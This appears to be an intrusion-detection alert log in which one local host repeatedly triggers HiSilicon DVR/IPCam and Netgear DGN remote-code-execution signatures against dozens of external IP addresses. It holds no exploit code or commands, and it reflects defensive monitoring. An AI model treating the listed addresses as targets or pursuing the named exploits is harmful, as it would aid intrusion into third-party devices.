SID:	2030488
Source Port:	58500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.49.221.85

Timestamp:	05/16/24-16:39:05.699205
SID:	2030488
Source Port:	55414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.57.4.12

Timestamp:	05/16/24-16:38:57.425705
SID:	2030487
Source Port:	58500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.49.221.85

Timestamp:	05/16/24-16:39:05.699205
SID:	2030487
Source Port:	55414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.188.248.248

Timestamp:	05/16/24-16:39:14.522001
SID:	2030487
Source Port:	47938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.188.248.248

Timestamp:	05/16/24-16:39:14.522001
SID:	2030488
Source Port:	47938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.97.153.159

Timestamp:	05/16/24-16:39:08.146724
SID:	2030488
Source Port:	47962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.97.153.159

Timestamp:	05/16/24-16:39:08.146724
SID:	2030487
Source Port:	47962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.223.181.242

Timestamp:	05/16/24-16:39:12.402920
SID:	2030487
Source Port:	41486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.223.181.242

Timestamp:	05/16/24-16:39:12.402920
SID:	2030488
Source Port:	41486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.114.182.184

Timestamp:	05/16/24-16:38:59.559317
SID:	2030487
Source Port:	55176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.114.182.184

Timestamp:	05/16/24-16:38:59.559317
SID:	2030488
Source Port:	55176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.128.153.0

Timestamp:	05/16/24-16:39:14.532687
SID:	2030487
Source Port:	39706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.128.153.0

Timestamp:	05/16/24-16:39:14.532687
SID:	2030488
Source Port:	39706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.12.151.208

Timestamp:	05/16/24-16:39:02.726868
SID:	2030487
Source Port:	38738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.222.28.63

Timestamp:	05/16/24-16:39:08.093015
SID:	2030487
Source Port:	45486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.222.28.63

Timestamp:	05/16/24-16:39:08.093015
SID:	2030488
Source Port:	45486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.143.213.237

Timestamp:	05/16/24-16:38:50.004213
SID:	2030488
Source Port:	42526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.120.125.91

Timestamp:	05/16/24-16:39:05.693247
SID:	2030487
Source Port:	34346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.143.213.237

Timestamp:	05/16/24-16:38:50.004213
SID:	2030487
Source Port:	42526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.120.125.91

Timestamp:	05/16/24-16:39:05.693247
SID:	2030488
Source Port:	34346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.13.241.11

Timestamp:	05/16/24-16:39:02.765744
SID:	2030488
Source Port:	44120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.13.241.11

Timestamp:	05/16/24-16:39:02.765744
SID:	2030487
Source Port:	44120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.12.151.208

Timestamp:	05/16/24-16:39:02.726868
SID:	2030488
Source Port:	38738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.227.25.107

Timestamp:	05/16/24-16:39:02.726987
SID:	2030487
Source Port:	57172
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.146.192.148

Timestamp:	05/16/24-16:38:53.093291
SID:	2030488
Source Port:	46706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.227.25.107

Timestamp:	05/16/24-16:39:02.726987
SID:	2030488
Source Port:	57172
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.146.192.148

Timestamp:	05/16/24-16:38:53.093291
SID:	2030487
Source Port:	46706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.114.226.213

Timestamp:	05/16/24-16:39:03.277898
SID:	2030487
Source Port:	49898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.243.197.230

Timestamp:	05/16/24-16:39:08.041728
SID:	2030488
Source Port:	59818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.243.197.230

Timestamp:	05/16/24-16:39:08.041728
SID:	2030487
Source Port:	59818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.114.226.213

Timestamp:	05/16/24-16:39:03.277898
SID:	2030488
Source Port:	49898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.112.177.226

Timestamp:	05/16/24-16:38:55.193173
SID:	2030488
Source Port:	52390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.112.177.226

Timestamp:	05/16/24-16:38:55.193173
SID:	2030487
Source Port:	52390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.36.218.17

Timestamp:	05/16/24-16:39:05.699919
SID:	2030488
Source Port:	48548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.5.67.224

Timestamp:	05/16/24-16:39:14.510026
SID:	2030487
Source Port:	45172
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.36.218.17

Timestamp:	05/16/24-16:39:05.699919
SID:	2030487
Source Port:	48548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.180.230.91

Timestamp:	05/16/24-16:39:03.260946
SID:	2030488
Source Port:	44994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.203.163.234

Timestamp:	05/16/24-16:39:14.491092
SID:	2030488
Source Port:	58858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.203.163.234

Timestamp:	05/16/24-16:39:14.491092
SID:	2030487
Source Port:	58858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.5.67.224

Timestamp:	05/16/24-16:39:14.510026
SID:	2030488
Source Port:	45172
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.17.175.197

Timestamp:	05/16/24-16:38:55.174999
SID:	2030487
Source Port:	33442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.17.175.197

Timestamp:	05/16/24-16:38:55.174999
SID:	2030488
Source Port:	33442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.159.177.37

Timestamp:	05/16/24-16:39:08.126421
SID:	2030487
Source Port:	58440
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.159.177.37

Timestamp:	05/16/24-16:39:08.126421
SID:	2030488
Source Port:	58440
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.20.197.50

Timestamp:	05/16/24-16:39:02.746062
SID:	2030488
Source Port:	47130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.20.197.50

Timestamp:	05/16/24-16:39:02.746062
SID:	2030487
Source Port:	47130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.107.214.30

Timestamp:	05/16/24-16:38:59.518467
SID:	2030488
Source Port:	36724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.72.39.95

Timestamp:	05/16/24-16:39:16.615688
SID:	2030488
Source Port:	58086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.72.39.95

Timestamp:	05/16/24-16:39:16.615688
SID:	2030487
Source Port:	58086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.107.214.30

Timestamp:	05/16/24-16:38:59.518467
SID:	2030487
Source Port:	36724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.71.37.170

Timestamp:	05/16/24-16:38:57.424456
SID:	2030487
Source Port:	47614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.71.37.170

Timestamp:	05/16/24-16:38:57.424456
SID:	2030488
Source Port:	47614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.16.90.147

Timestamp:	05/16/24-16:38:50.004294
SID:	2030488
Source Port:	41954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.16.90.147

Timestamp:	05/16/24-16:38:50.004294
SID:	2030487
Source Port:	41954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.60.45.45

Timestamp:	05/16/24-16:39:08.127996
SID:	2030487
Source Port:	42882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.60.45.45

Timestamp:	05/16/24-16:39:08.127996
SID:	2030488
Source Port:	42882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.8.185.133

Timestamp:	05/16/24-16:39:05.675869
SID:	2030487
Source Port:	45002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.8.185.133

Timestamp:	05/16/24-16:39:05.675869
SID:	2030488
Source Port:	45002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 120.60.53.184

Timestamp:	05/16/24-16:39:01.474345
SID:	2029215
Source Port:	52788
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.184.27.177

Timestamp:	05/16/24-16:39:14.493489
SID:	2030487
Source Port:	59672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.184.27.177

Timestamp:	05/16/24-16:39:14.493489
SID:	2030488
Source Port:	59672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.205.105.253

Timestamp:	05/16/24-16:39:12.384387
SID:	2030488
Source Port:	53374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.205.105.253

Timestamp:	05/16/24-16:39:12.384387
SID:	2030487
Source Port:	53374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.245.131.74

Timestamp:	05/16/24-16:39:05.693919
SID:	2030487
Source Port:	53298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.245.131.74

Timestamp:	05/16/24-16:39:05.693919
SID:	2030488
Source Port:	53298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.29.72.70

Timestamp:	05/16/24-16:39:02.767174
SID:	2030487
Source Port:	52014
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.68.63.116

Timestamp:	05/16/24-16:39:14.493433
SID:	2030488
Source Port:	58588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.170.125.72

Timestamp:	05/16/24-16:38:57.437158
SID:	2030487
Source Port:	40006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.29.72.70

Timestamp:	05/16/24-16:39:02.767174
SID:	2030488
Source Port:	52014
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.170.125.72

Timestamp:	05/16/24-16:38:57.437158
SID:	2030488
Source Port:	40006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.68.63.116

Timestamp:	05/16/24-16:39:14.493433
SID:	2030487
Source Port:	58588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.94.193.71

Timestamp:	05/16/24-16:39:14.492314
SID:	2030488
Source Port:	58774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.94.193.71

Timestamp:	05/16/24-16:39:14.492314
SID:	2030487
Source Port:	58774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.167.233.238

Timestamp:	05/16/24-16:39:14.527563
SID:	2030488
Source Port:	39590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.167.233.238

Timestamp:	05/16/24-16:39:14.527563
SID:	2030487
Source Port:	39590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.238.105.211

Timestamp:	05/16/24-16:39:12.382824
SID:	2030487
Source Port:	43378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.238.105.211

Timestamp:	05/16/24-16:39:12.382824
SID:	2030488
Source Port:	43378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.19.0.17

Timestamp:	05/16/24-16:38:59.588286
SID:	2030488
Source Port:	35360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.19.0.17

Timestamp:	05/16/24-16:38:59.588286
SID:	2030487
Source Port:	35360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.208.205.53

Timestamp:	05/16/24-16:39:02.747129
SID:	2030487
Source Port:	58280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.208.205.53

Timestamp:	05/16/24-16:39:02.747129
SID:	2030488
Source Port:	58280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 27.250.63.203

Timestamp:	05/16/24-16:39:05.513163
SID:	2034576
Source Port:	59346
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.121.183.23

Timestamp:	05/16/24-16:39:16.615094
SID:	2030488
Source Port:	58984
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.121.183.23

Timestamp:	05/16/24-16:39:16.615094
SID:	2030487
Source Port:	58984
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.63.45.210

Timestamp:	05/16/24-16:39:16.599074
SID:	2030488
Source Port:	59232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.63.45.210

Timestamp:	05/16/24-16:39:16.599074
SID:	2030487
Source Port:	59232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.180.230.91

Timestamp:	05/16/24-16:39:03.260946
SID:	2030487
Source Port:	44994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.86.246.27

Timestamp:	05/16/24-16:38:59.590377
SID:	2030487
Source Port:	54352
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.74.170.254

Timestamp:	05/16/24-16:38:59.559303
SID:	2030487
Source Port:	48734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.86.246.27

Timestamp:	05/16/24-16:38:59.590377
SID:	2030488
Source Port:	54352
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.74.170.254

Timestamp:	05/16/24-16:38:59.559303
SID:	2030488
Source Port:	48734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.34.40.176

Timestamp:	05/16/24-16:39:05.677920
SID:	2030488
Source Port:	60322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.34.40.176

Timestamp:	05/16/24-16:39:05.677920
SID:	2030487
Source Port:	60322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.72.92.1

Timestamp:	05/16/24-16:39:16.578607
SID:	2030488
Source Port:	47606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.72.92.1

Timestamp:	05/16/24-16:39:16.578607
SID:	2030487
Source Port:	47606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.67.254.168

Timestamp:	05/16/24-16:39:02.748802
SID:	2030487
Source Port:	53878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.67.254.168

Timestamp:	05/16/24-16:39:02.748802
SID:	2030488
Source Port:	53878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.255.143.143

Timestamp:	05/16/24-16:39:14.525620
SID:	2030488
Source Port:	38284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

